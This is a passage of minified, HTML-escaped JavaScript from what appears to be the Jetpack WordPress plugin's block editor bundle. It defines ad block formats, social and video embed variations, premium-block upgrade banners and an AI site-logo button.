300x250&quot;,&quot;jetpack&quot;),tag:&quot;mrec&quot;,width:300,editorPadding:30},{height:90,icon:(0,o.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,o.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,o.jsx)(r.Path,{d:&quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-4-4h-4v-2h2c1.1 0 2-.89 2-2V9c0-1.11-.9-2-2-2H9v2h4v2h-2c-1.1 0-2 .89-2 2v4h6v-2z&quot;})]}),name:__(&quot;Leaderboard 728x90&quot;,&quot;jetpack&quot;),tag:&quot;leaderboard&quot;,width:728,editorPadding:60},{height:50,icon:(0,o.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,o.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,o.jsx)(r.Path,{d:&quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16H5V5h14v14zm-4-4v-1.5c0-.83-.67-1.5-1.5-1.5.83 0 1.5-.67 1.5-1.5V9c0-1.11-.9-2-2-2H9v2h4v2h-2v2h2v2H9v2h4c1.1 0 2-.89 2-2z&quot;})]}),name:__(&quot;Mobile Leaderboard 320x50&quot;,&quot;jetpack&quot;),tag:&quot;mobile_leaderboard&quot;,width:320,editorPadding:100},{height:600,icon:(0,o.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:&quot;24&quot;,height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,o.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M.04 0h24v24h-24V0z&quot;}),(0,o.jsx)(r.Path,{d:&quot;M19.04 3h-14c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 16h-14V5h14v14zm-6-2h2V7h-2v4h-2V7h-2v6h4z&quot;})]}),name:__(&quot;Wide Skyscraper 160x600&quot;,&quot;jetpack&quot;),tag:&quot;wideskyscraper&quot;,width:160,editorPadding:30}]},79577(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(27723),a=s(78971),i=s(10790);const __=o.__,l=({value:e,onChange:t})=&gt;(0,i.jsx)(n.PanelBody,{title:__(&quot;Visibility&quot;,&quot;jetpack&quot;),children:(0,i.jsx)(n.ToggleControl,{__nextHasNoMarginBottom:!0,className:&quot;jetpack-wordads__mobile-visibility&quot;,checked:!!e,label:__(&quot;Hide on mobile&quot;,&quot;jetpack&quot;),help:__(&quot;Hides this block for site visitors on mobile devices.&quot;,&quot;jetpack&quot;),onChange:t})}),c=({attributes:{format:e,hideMobile:t},setAttributes:s})=&gt;(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(r.BlockControls,{children:(0,i.jsx)(a.A,{value:e,onChange:e=&gt;s({format:e})})}),(0,i.jsx)(r.InspectorControls,{children:(0,i.jsx)(l,{value:t,onChange:e=&gt;s({hideMobile:!!e})})})]})},27695(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;g});var r=s(50723),n=s(85985),o=s(94715),a=s(91725),i=s(78473),l=s(78458),c=s(79577),u=s(60651),d=s(26408),p=s(68364),h=s(90244),m=(s(56251),s(10790));const g=({attributes:e,setAttributes:t})=&gt;{const s=(0,o.useBlockProps)(),{format:g}=e,{isLoadingModules:f,isChangingStatus:b,isModuleActive:v,changeStatus:k}=(0,n.q7)(&quot;wordads&quot;),y=l.H.find(({tag:e})=&gt;e===g),x=e=&gt;{switch(e){case&quot;leaderboard&quot;:return h;case&quot;mobile_leaderboard&quot;:return p;case&quot;wideskyscraper&quot;:return u;default:return d}};let j;return j=v?(0,m.jsxs)(m.Fragment,{children:[(0,m.jsx)(c.A,{attributes:e,setAttributes:t}),(0,m.jsx)(&quot;div&quot;,{className:`wp-block-jetpack-wordads jetpack-wordads-${g}`,children:(0,m.jsx)(&quot;div&quot;,{className:&quot;jetpack-wordads__ad&quot;,style:{width:y.width,height:y.height,backgroundImage:`url( ${x(g)} )`,backgroundSize:&quot;cover&quot;}})})]}):f?(0,m.jsx)(r.Ay,{children:(0,m.jsx)(i.B,{})}):(0,m.jsx)(a.e,{changeStatus:k,isModuleActive:v,isLoading:b}),(0,m.jsx)(&quot;div&quot;,{...s,children:j})}},99398(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(16344),o=s(27695);(0,r.M)(n,{edit:o.A,save:()=&gt;null})},78971(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(56427),n=s(27723),o=s(78458),a=s(10790);const i=(0,n.__)(&quot;Pick an ad format&quot;,&quot;jetpack&quot;);function l({value:e,onChange:t}){return(0,a.jsx)(r.Dropdown,{placement:&quot;bottom-start&quot;,renderToggle:({onToggle:e,isOpen:t})=&gt;(0,a.jsx)(r.ToolbarGroup,{controls:[{icon:(0,a.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,a.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;}),(0,a.jsx)(r.Path,{d:&quot;M1 9h2V7H1v2zm0 4h2v-2H1v2zm0-8h2V3c-1.1 0-2 .9-2 2zm8 16h2v-2H9v2zm-8-4h2v-2H1v2zm2 4v-2H1c0 1.1.9 2 2 2zM21 3h-8v6h10V5c0-1.1-.9-2-2-2zm0 14h2v-2h-2v2zM9 5h2V3H9v2zM5 21h2v-2H5v2zM5 5h2V3H5v2zm16 16c1.1 0 2-.9 2-2h-2v2zm0-8h2v-2h-2v2zm-8 8h2v-2h-2v2zm4 0h2v-2h-2v2z&quot;})]}),title:i,onClick:e,extraProps:{&quot;aria-expanded&quot;:t},className:&quot;wp-block-jetpack-wordads__format-picker-icon&quot;}]}),renderContent:({onClose:s})=&gt;(0,a.jsx)(r.NavigableMenu,{className:&quot;wp-block-jetpack-wordads__format-picker&quot;,children:o.H.map(({tag:n,name:o,icon:i})=&gt;(0,a.jsx)(r.MenuItem,{className:n===e?&quot;is-active&quot;:void 0,icon:i,isSelected:n===e,onClick:()=&gt;{t(n),s()},role:&quot;menuitemcheckbox&quot;,children:o},n))})})}},67858(e,t,s){&quot;use strict&quot;;s.d(t,{m:()=&gt;c});var r=s(1455),n=s.n(r),o=s(29491),a=s(52619),i=(s(74960),s(79366),s(75181),s(14435),s(59740),s(21929),s(80076),s(15946),s(34180),s(56414),s(28691),s(12088),s(16521),s(73391)),l=(s(15538),s(10790));function c(e){if(!i)return!1;const t=i.beta||[],s=e.replace(/jetpack\//,&quot;&quot;);return t.includes(e)||t.includes(s)}n().use((e,t)=&gt;{if(&quot;cors&quot;===e.mode)return t(e);if(e.url)try{const s=new URL(e.url,location.href);if(s.protocol!==location.protocol||s.hostname!==location.hostname||s.port!==location.port)return t(e)}catch{return t(e)}return e.headers||(e.headers={}),e.headers[&quot;x-wp-api-fetch-from-editor&quot;]=&quot;true&quot;,t(e)}),(0,a.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/label-beta-blocks-title&quot;,function(e,t){if(!c(t))return e;const{title:s,keywords:r}=e,n=&quot;(beta)&quot;,o=&quot;beta&quot;,a={...e};return s&amp;&amp;(a.title=s.toLowerCase().endsWith(n)?s:`${e.title} ${n}`),Array.isArray(r)&amp;&amp;(a.keywords=r.includes(o)?r:[...r,o]),a});const u=(0,o.createHigherOrderComponent)(e=&gt;t=&gt;{if(t?.clientRootId)return(0,l.jsx)(e,{...t});const{name:s}=t;return c(s)?(0,l.jsx)(e,{...t,className:&quot;is-beta-extension&quot;}):(0,l.jsx)(e,{...t})},&quot;withBetaClassName&quot;);(0,a.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;jetpack/label-beta-extensions&quot;,u)},24430(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(74997),o=s(27723);const __=o.__,a={name:&quot;descript&quot;,title:&quot;Descript&quot;,icon:r.QB,keywords:[__(&quot;descript&quot;,&quot;jetpack&quot;)],description:__(&quot;Embed a Descript Item.&quot;,&quot;jetpack&quot;),patterns:[/^https:\/\/share.descript.com\/(view|embed)\/\w+/i],attributes:{providerNameSlug:&quot;descript&quot;,responsive:!0}};(0,n.registerBlockVariation)(&quot;core/embed&quot;,a)},30710(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(52619),o=s(27723);const __=o.__,_x=o._x,a={name:&quot;facebook&quot;,title:__(&quot;Facebook Embed&quot;,&quot;jetpack&quot;),icon:{src:r.ik},keywords:[_x(&quot;social&quot;,&quot;block search term&quot;,&quot;jetpack&quot;)],description:__(&quot;Embed a Facebook post.&quot;,&quot;jetpack&quot;),patterns:[/^https?:\/\/www\.facebook.com\/.+/i],attributes:{providerNameSlug:&quot;facebook&quot;,previewable:!1,responsive:!0}};(0,n.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;reactivateFacebookEmbedBlockVariation&quot;,function(e,t){if(&quot;core/embed&quot;!==t||!e.variations)return e;const s=e.variations.filter(e=&gt;e.name!==a.name);return e.variations=[...s,a],e})},80076(e,t,s){&quot;use strict&quot;;s(30710),s(65052),s(43887),s(60068),s(24430),s(3348)},65052(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(52619),o=s(27723),a=s(21604);const __=o.__,_x=o._x,i={name:&quot;instagram&quot;,title:__(&quot;Instagram Embed&quot;,&quot;jetpack&quot;),icon:{src:r.oW},keywords:[_x(&quot;image&quot;,&quot;block search term&quot;,&quot;jetpack&quot;),_x(&quot;social&quot;,&quot;block search term&quot;,&quot;jetpack&quot;)],description:__(&quot;Embed an Instagram post.&quot;,&quot;jetpack&quot;),patterns:[/^https?:\/\/(www\.)?instagr(\.am|am\.com)\/.+/i],attributes:{providerNameSlug:&quot;instagram&quot;,responsive:!0}};(0,n.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;reactivateInstagramEmbedBlockVariation&quot;,function(e,t){if(&quot;core/embed&quot;!==t||!e.variations||!(0,a.A)())return e;const s=e.variations.filter(e=&gt;e.name!==i.name);return e.variations=[...s,i],e})},43887(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(74997),o=s(27723);const __=o.__,a={name:&quot;loom&quot;,title:&quot;Loom&quot;,icon:r.T3,keywords:[__(&quot;video&quot;,&quot;jetpack&quot;)],description:__(&quot;Embed a Loom video.&quot;,&quot;jetpack&quot;),patterns:[/^https?:\/\/(www\.)?loom\.com\/share\/.+/i],attributes:{providerNameSlug:&quot;loom&quot;,responsive:!0}};(0,n.registerBlockVariation)(&quot;core/embed&quot;,a)},60068(e,t,s){&quot;use strict&quot;;var r=s(62410),n=s(74997),o=s(27723);const __=o.__,a={name:&quot;smartframe&quot;,title:&quot;SmartFrame&quot;,icon:r.M4,keywords:[__(&quot;smartframe&quot;,&quot;jetpack&quot;)],description:__(&quot;Embed a SmartFrame Image.&quot;,&quot;jetpack&quot;),patterns:[/^https?:\/\/(.*?).smartframe.(io|net)\/.*/i],attributes:{providerNameSlug:&quot;smartframe&quot;,responsive:!0}};(0,n.registerBlockVariation)(&quot;core/embed&quot;,a)},3348(e,t,s){&quot;use strict&quot;;var r=s(94715),n=s(74997),o=s(29491),a=s(47143),i=s(52619),l=s(27723),c=s(74628),u=s(17900),d=s(47960),p=s(10790);const __=l.__,h=(0,o.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s,attributes:o,isSelected:i}=t;if(&quot;core/embed&quot;!==s)return(0,p.jsx)(e,{...t});if(!(o?.url?.match(/^https?:\/\/(?:video\.wordpress\.com\/[ve]\/|videopress\.com\/[ve]\/)[a-zA-Z\d]{8}/)||&quot;videopress&quot;===o?.providerNameSlug))return(0,p.jsx)(e,{...t});const{replaceBlock:l}=(0,a.dispatch)(&quot;core/block-editor&quot;);return(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)(e,{...t}),i&amp;&amp;(0,p.jsx)(r.InspectorControls,{children:(0,p.jsxs)(&quot;div&quot;,{className:&quot;wp-block-videopress-video-transform&quot;,style:{padding:&quot;16px&quot;},children:[(0,p.jsx)(&quot;div&quot;,{className:&quot;components-notice is-info&quot;,children:(0,p.jsx)(&quot;div&quot;,{className:&quot;components-notice__content&quot;,children:__(&quot;You can transform this post&#039;s video blocks to the new VideoPress block to take advantage of new features.&quot;,&quot;jetpack&quot;)})}),(0,p.jsx)(&quot;div&quot;,{style:{marginTop:&quot;8px&quot;},children:(0,p.jsx)(&quot;button&quot;,{className:&quot;components-button is-primary&quot;,onClick:()=&gt;{const e=o.url,s=o.guid||(0,d.QW)(e),r=(0,n.createBlock)(&quot;videopress/video&quot;,{src:e,id:o.id||null,guid:s,title:o.title||&quot;&quot;,caption:o.caption||&quot;&quot;,isVideoPressExample:!1,autoplay:!1,controls:!0,muted:!1,playsinline:!0,preload:&quot;metadata&quot;,useAverageColor:!0,poster:o.poster||&quot;&quot;,loop:!1,videoPressTracks:[],className:o.className||&quot;&quot;,align:o.align||&quot;&quot;,rating:&quot;&quot;,allowDownload:!1,privacySetting:c.NF.SITE_DEFAULT,url:(0,u.e)(s,{autoplay:!1,controls:!0,loop:!1,muted:!1,playsinline:!0,poster:o.poster||&quot;&quot;,preload:&quot;metadata&quot;,useAverageColor:!0})});l(t.clientId,r)},children:__(&quot;Transform to VideoPress block&quot;,&quot;jetpack&quot;)})})]})})]})},&quot;withVideoPressSettings&quot;);(0,i.addFilter)(&quot;editor.BlockEdit&quot;,&quot;jetpack/videopress-embed-settings&quot;,h)},26760(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(96865),n=s(56427),o=s(86087),a=s(27723),i=s(10790);const __=a.__;function l({clickHandler:e,showButtonText:t=!1}){const s=(0,o.useCallback)(()=&gt;{e?.()},[e]),a=t?__(&quot;Generate&quot;,&quot;jetpack&quot;):&quot;&quot;;return(0,i.jsx)(i.Fragment,{children:(0,i.jsx)(n.ToolbarButton,{showTooltip:!0,onClick:s,label:__(&quot;Generate with AI&quot;,&quot;jetpack&quot;),icon:r.cj,children:a})})}},24255(e,t,s){&quot;use strict&quot;;s.d(t,{Mb:()=&gt;n,TC:()=&gt;o,tF:()=&gt;r});const r=&quot;site-logo-block-extension&quot;,n=&quot;block-editor&quot;,o=&quot;ai-assistant-site-logo-support&quot;},15946(e,t,s){&quot;use strict&quot;;var r=s(96865),n=s(94715),o=s(74997),a=s(29491),i=s(47143),l=s(86087),c=s(52619),u=s(48499),d=s(26760),p=s(24255),h=s(10790);const m=(0,a.createHigherOrderComponent)(e=&gt;t=&gt;{const[s,o]=(0,l.useState)(!1),{setLogo:a}=(()=&gt;{const e=(0,i.useDispatch)(&quot;core&quot;).editEntityRecord,t=(0,l.useCallback)(t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{site_logo:t})},[e]),s=(0,l.useCallback)(t=&gt;{e(&quot;root&quot;,&quot;site&quot;,void 0,{site_icon:t})},[e]);return{setLogo:(0,l.useCallback)((e,r)=&gt;{t(e),r&amp;&amp;s(e)},[t,s])}})(),c=t?.attributes?.shouldSyncIcon||!1,u=(0,l.useCallback)(()=&gt;{o(!0)},[]),m=(0,l.useCallback)(()=&gt;{o(!1)},[]),g=(0,l.useCallback)(e=&gt;{e&amp;&amp;a(e,c)},[a,c]);(0,l.useEffect)(()=&gt;()=&gt;{m()},[m]);const f=(()=&gt;{const e=(0,i.useSelect)(e=&gt;e(&quot;core&quot;).getEntityRecord(&quot;root&quot;,&quot;site&quot;),[]);return{ID:parseInt(window?.Jetpack_Editor_Initial_State?.wpcomBlogId),URL:e?.url,domain:window?.Jetpack_Editor_Initial_State?.siteFragment,name:e?.title,description:e?.description,siteLogo:e?.site_logo||0}})();return(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(e,{...t}),(0,h.jsx)(n.BlockControls,{group:&quot;block&quot;,children:(0,h.jsx)(d.A,{showButtonText:!f?.siteLogo,clickHandler:u})}),(0,h.jsx)(r.Tg,{isOpen:s,onClose:m,onApplyLogo:g,context:p.Mb,placement:p.tF,siteDetails:f})]})},&quot;SiteLogoEditWithAiComponents&quot;);function g(e){if(&quot;core/site-logo&quot;!==e)return!1;if(!(0,o.getBlockType)(&quot;jetpack/ai-assistant&quot;))return!1;if(!(0,u.C)(p.TC))return!1;return!((0,i.select)(&quot;core/edit-post&quot;)?.getHiddenBlockTypes?.()??[]).includes(&quot;jetpack/ai-assistant&quot;)}(0,c.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/site-logo-with-ai-support&quot;,function(e,t){return g(t)?{...e,edit:m(e.edit)}:e},100)},34180(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(52619),o=s(94250);const a={from:[{type:&quot;block&quot;,isMultiBlock:!1,blocks:[&quot;core/legacy-widget&quot;],isMatch:({idBase:e,instance:t})=&gt;!!t?.raw&amp;&amp;&quot;jetpack_widget_social_icons&quot;===e,transform:({instance:e})=&gt;{let t=[];return e.raw.icons.forEach(e=&gt;{const s=new URL(e.url.includes(&quot;:&quot;)?e.url:&quot;https://&quot;+e.url),n=s.hostname?s.hostname:s.protocol,a=o.A.find(e=&gt;n.includes(e.url)||e.url.includes(n)),i=(0,r.createBlock)(&quot;core/social-link&quot;,{service:a?a.name:&quot;chain&quot;,url:e.url});t=[...t,i]}),(0,r.createBlock)(&quot;core/social-links&quot;,{},t)}}]};(0,n.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;addTransformToSocialLinksWidget&quot;,function(e,t){return&quot;core/social-links&quot;!==t||(e.transforms=a),e})},94250(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r=[{name:&quot;wordpress&quot;,url:[&quot;wordpress.&quot;]},{name:&quot;fivehundredpx&quot;,url:[&quot;500px.com&quot;]},{name:&quot;amazon&quot;,url:[&quot;amazon.&quot;]},{name:&quot;bandcamp&quot;,url:[&quot;bandcamp.com&quot;]},{name:&quot;behance&quot;,url:[&quot;behance.net&quot;]},{name:&quot;codepen&quot;,url:[&quot;codepen.io&quot;]},{name:&quot;deviantart&quot;,url:[&quot;deviantart.com&quot;]},{name:&quot;dribbble&quot;,url:[&quot;dribbble.com&quot;]},{name:&quot;dropbox&quot;,url:[&quot;dropbox.com&quot;]},{name:&quot;etsy&quot;,url:[&quot;etsy.com&quot;]},{name:&quot;facebook&quot;,url:[&quot;facebook.com&quot;]},{name:&quot;flickr&quot;,url:[&quot;flickr.com&quot;]},{name:&quot;foursquare&quot;,url:[&quot;foursquare.com&quot;]},{name:&quot;goodreads&quot;,url:[&quot;goodreads.com&quot;]},{name:&quot;google&quot;,url:[&quot;google.&quot;]},{name:&quot;github&quot;,url:[&quot;github.com&quot;]},{name:&quot;instagram&quot;,url:[&quot;instagram.com&quot;]},{name:&quot;lastfm&quot;,url:[&quot;last.fm&quot;]},{name:&quot;linkedin&quot;,url:[&quot;linkedin.com&quot;]},{name:&quot;mail&quot;,url:[&quot;mailto:&quot;]},{name:&quot;linkedin&quot;,url:[&quot;linkedin.com&quot;]},{name:&quot;mastodon&quot;,url:[&quot;mastodon.social&quot;]},{name:&quot;meetup&quot;,url:[&quot;meetup.com&quot;]},{name:&quot;medium&quot;,url:[&quot;medium.com&quot;]},{name:&quot;patreon&quot;,url:[&quot;patreon.com&quot;]},{name:&quot;pinterest&quot;,url:[&quot;pinterest.&quot;]},{name:&quot;reddit&quot;,url:[&quot;reddit.com&quot;]},{name:&quot;snapchat&quot;,url:[&quot;snapchat.com&quot;]},{name:&quot;soundcloud&quot;,url:[&quot;soundcloud.com&quot;]},{name:&quot;spotify&quot;,url:[&quot;spotify.com&quot;]},{name:&quot;telegram&quot;,url:[&quot;telegram.me&quot;,&quot;t.me&quot;]},{name:&quot;tiktok&quot;,url:[&quot;tiktok.com&quot;]},{name:&quot;tumblr&quot;,url:[&quot;tumblr.com&quot;]},{name:&quot;twitch&quot;,url:[&quot;twitch.tv&quot;]},{name:&quot;twitter&quot;,url:[&quot;twitter.com&quot;]},{name:&quot;vimeo&quot;,url:[&quot;vimeo.com&quot;]},{name:&quot;vk&quot;,url:[&quot;vk.com&quot;]},{name:&quot;yelp&quot;,url:[&quot;yelp.com&quot;]},{name:&quot;youtube&quot;,url:[&quot;youtube.com&quot;]}]},95104(e,t,s){&quot;use strict&quot;;s.d(t,{b:()=&gt;a,j:()=&gt;o});var r=s(86087),n=s(10790);const o=(0,r.createContext)(),a=({onBannerVisibilityChange:e,hasParentBanner:t,children:s})=&gt;(0,n.jsx)(o.Provider,{value:{onBannerVisibilityChange:e,hasParentBanner:t},children:s})},56414(e,t,s){&quot;use strict&quot;;var r=s(85985),n=s(98490),o=s.n(n),a=s(52619),i=s(27723),l=s(6650),c=s(26356),u=s(19785),d=s(3120);s(19316);const __=i.__,p=[];(0,a.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/paid-block&quot;,(e,t)=&gt;((0,r.W4)(t)&amp;&amp;(p.includes(t)||p.push(t),e.keywords=[...new Set([...e.keywords,&quot;premium&quot;,__(&quot;premium&quot;,&quot;jetpack&quot;)])],(0,r.sH)(t)||(e.icon=(0,u.A)(e.icon)),e.attributes.shouldDisplayFrontendBanner||(e.attributes.shouldDisplayFrontendBanner={type:&quot;boolean&quot;,default:!0}),&quot;core/cover&quot;!==t&amp;&amp;(e.supports={...e.supports,__experimentalExposeControlsToChildren:!0})),e)),(0,a.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/paid-block-with-upgrade-banner&quot;,d.e),(0,a.addFilter)(&quot;editor.MediaPlaceholder&quot;,&quot;jetpack/paid-block-media-placeholder&quot;,l.A),(0,a.addFilter)(&quot;editor.MediaReplaceFlow&quot;,&quot;jetpack/paid-block-media-placeholder&quot;,c.A),o()(function(){(0,r.Dk)()&amp;&amp;document.body.classList.add(&quot;jetpack-enable-upgrade-nudge&quot;)})},6650(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(85985),n=s(94715),o=s(29491),a=s(86087),i=s(333),l=s(95104),c=s(10790);const u=(0,o.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s}=(0,n.useBlockEditContext)(),o=(0,r.GT)(s);if(!o?.mediaPlaceholder||!(0,r.W4)(s))return(0,c.jsx)(e,{...t});const{fileType:u}=o,{onError:d}=t,{onBannerVisibilityChange:p}=(0,a.useContext)(l.j),h=(0,a.useCallback)(e=&gt;p(e?.length&amp;&amp;(0,i.wc)(e[0],u)),[u,p]),m=(0,a.useCallback)(e=&gt;{const t=e?.[0]?.props?.children;return(0,i.wc)(t,u)?h([t]):d(e)},[h,u,d]);return(0,c.jsx)(&quot;div&quot;,{className:&quot;paid-block-media-placeholder&quot;,children:(0,c.jsx)(e,{...t,onFilesPreUpload:h,onError:m})})},&quot;withMediaPlaceholderUpgradable&quot;)},26356(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(85985),n=s(94715),o=s(29491),a=s(86087),i=s(333),l=s(95104),c=s(10790);const u=(0,o.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s}=(0,n.useBlockEditContext)(),o=(0,r.GT)(s),u=(0,a.useRef)(void 0);if(!o?.mediaReplaceFlow||!(0,r.W4)(s))return(0,c.jsx)(e,{...t});const{fileType:d}=o,{onBannerVisibilityChange:p}=(0,a.useContext)(l.j);return(0,c.jsx)(e,{...t,onFilesUpload:e=&gt;{u.current=e?.length?e[0]:null,p(e?.length&amp;&amp;(0,i.wc)(e[0],d))},createNotice:(e,s,r)=&gt;{if((0,i.wc)(u.current,d))return u.current=null,null;t.createNotice(e,s,r)}})},&quot;withMediaReplaceFlowUpgradable&quot;)},46367(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=({cx:e=0,cy:t=0,r:s=4,fill:o=&quot;#e34c84&quot;,stroke:a=&quot;#ffffff&quot;,strokeWidth:i=&quot;2&quot;})=&gt;(0,n.jsx)(r.SVG,{className:&quot;jetpack-paid-block-symbol&quot;,children:(0,n.jsx)(r.Circle,{cx:e,cy:t,r:s,fill:o,stroke:a,strokeWidth:i})})},19785(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,K:()=&gt;l});var r=s(85985),n=s(46367),o=s(10790);const a=e=&gt;{const t=(0,o.jsx)(n.A,{},&quot;paid-symbol&quot;);return e?.src?{...e,src:(0,o.jsxs)(o.Fragment,{children:[e.src,t]})}:(0,o.jsxs)(o.Fragment,{children:[e,t]})},i=a;function l(e,t){return(0,r.W4)(e)?a(t):t}},26845(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;d});var r=s(85985),n=s(82201),o=s(47143),a=s(27723),i=s(10790);const __=a.__,_x=a._x,l=__(&quot;Premium Block&quot;,&quot;jetpack&quot;),/** translators: %s: name of the plan. */
c=__(&quot;Upgrade to %s to use this premium block&quot;,&quot;jetpack&quot;),u=(__(&quot;Upgrade your plan to use this premium block&quot;,&quot;jetpack&quot;),_x(&quot;Upgrade&quot;,&quot;Call to action to buy a new plan&quot;,&quot;jetpack&quot;)),d=({onRedirect:e,align:t,className:s,title:d=l,description:p=null,buttonText:h=u,visible:m=!0,requiredPlan:g,context:f})=&gt;{const[b,v,k]=(0,r._6)(g,e),y=(0,o.useSelect)(e=&gt;{if(p)return p;const t=e(&quot;wordpress-com/plans&quot;),s=t&amp;&amp;t.getPlan(g);return s?(0,a.sprintf)(c,s.product_name_short):null},[p,g]);return y&amp;&amp;(0,i.jsx)(n.cb,{align:t,buttonText:h,checkoutUrl:b,className:s,context:f,description:y,goToCheckoutPage:v,isRedirecting:k,title:d,visible:m})}},23887(e,t,s){&quot;use strict&quot;;s.d(t,{W:()=&gt;r,r:()=&gt;n});const r=({plan:e,blockName:t,context:s,tracks:r})=&gt;{r.recordEvent(&quot;jetpack_editor_block_upgrade_click&quot;,{plan:e,block:t,context:s})},n=({plan:e,blockName:t,context:s,tracks:r})=&gt;{r.recordEvent(&quot;jetpack_editor_block_upgrade_banner_impression&quot;,{plan:e,block:t,context:s})}},3120(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;h});var r=s(85985),n=s(94715),o=s(29491),a=s(47143),i=s(86087),l=s(95104),c=s(26845),u=s(23887),d=s(10790);const p=(0,o.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s,clientId:o,isSelected:p,attributes:h,setAttributes:m}=t||{},g=(0,r.tu)(s);if(!g)return(0,d.jsx)(e,{...t});const f=(0,r.sH)(s),b=(0,r.GT)(s),[v,k]=(0,i.useState)(!f),[y,x]=(0,i.useState)(!1),j=&quot;editor-canvas&quot;,w=(0,a.useSelect)(e=&gt;e(&quot;core/block-editor&quot;).hasSelectedInnerBlock(o,!0),[o]),{hasParentBanner:_}=(0,i.useContext)(l.j)||{},C=(p||w)&amp;&amp;v&amp;&amp;!_,{tracks:A}=(0,r.st)(),S=(0,i.useMemo)(()=&gt;({plan:g,blockName:s,context:j,tracks:A}),[g,s,A]);(0,i.useEffect)(()=&gt;{C&amp;&amp;x(!0)},[C,x]),(0,i.useEffect)(()=&gt;{!y&amp;&amp;C&amp;&amp;(0,u.r)(S)},[y,S,C]),(0,i.useEffect)(()=&gt;k(!f),[h,k,f]),(0,i.useEffect)(()=&gt;{m({shouldDisplayFrontendBanner:!_})},[m,_]);const E=(0,n.useBlockProps)();return(0,d.jsx)(l.b,{onBannerVisibilityChange:k,hasParentBanner:C,children:(0,d.jsxs)(&quot;div&quot;,{ref:E.ref,style:{maxWidth:&quot;unset&quot;},children:[(0,d.jsx)(c.Ay,{className:`is-${s.replace(/\//,&quot;-&quot;)}-paid-block`,title:null,align:h?.align,visible:C,description:b?.description,requiredPlan:g,context:j,onRedirect:()=&gt;(0,u.W)(S)}),(0,d.jsx)(e,{...t})]})})},&quot;withUpgradeBanner&quot;);function h(e,t){return(0,r.tu)(t)?{...e,edit:p(e.edit)}:e}},76047(e,t,s){&quot;use strict&quot;;s.d(t,{k6:()=&gt;o,s6:()=&gt;r,wb:()=&gt;n});const r=&quot;jetpack-sidebar&quot;,n=&quot;document-settings&quot;,o=&quot;pre-publish&quot;},23162(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;M});var r=s(96865),n=s(85985),o=s(82201),a=s(56427),i=s(3582),l=s(47143),c=s(43656),u=s(52619),d=s(27723),p=s(10067),h=s.n(p),m=s(51609),g=s(44732),f=s(48499),b=s(90062),v=s(50976),k=s(81932),y=s(37215),x=s(76318),j=s(27970),w=s(76047),_=s(45606),C=(s(17280),s(10790));const 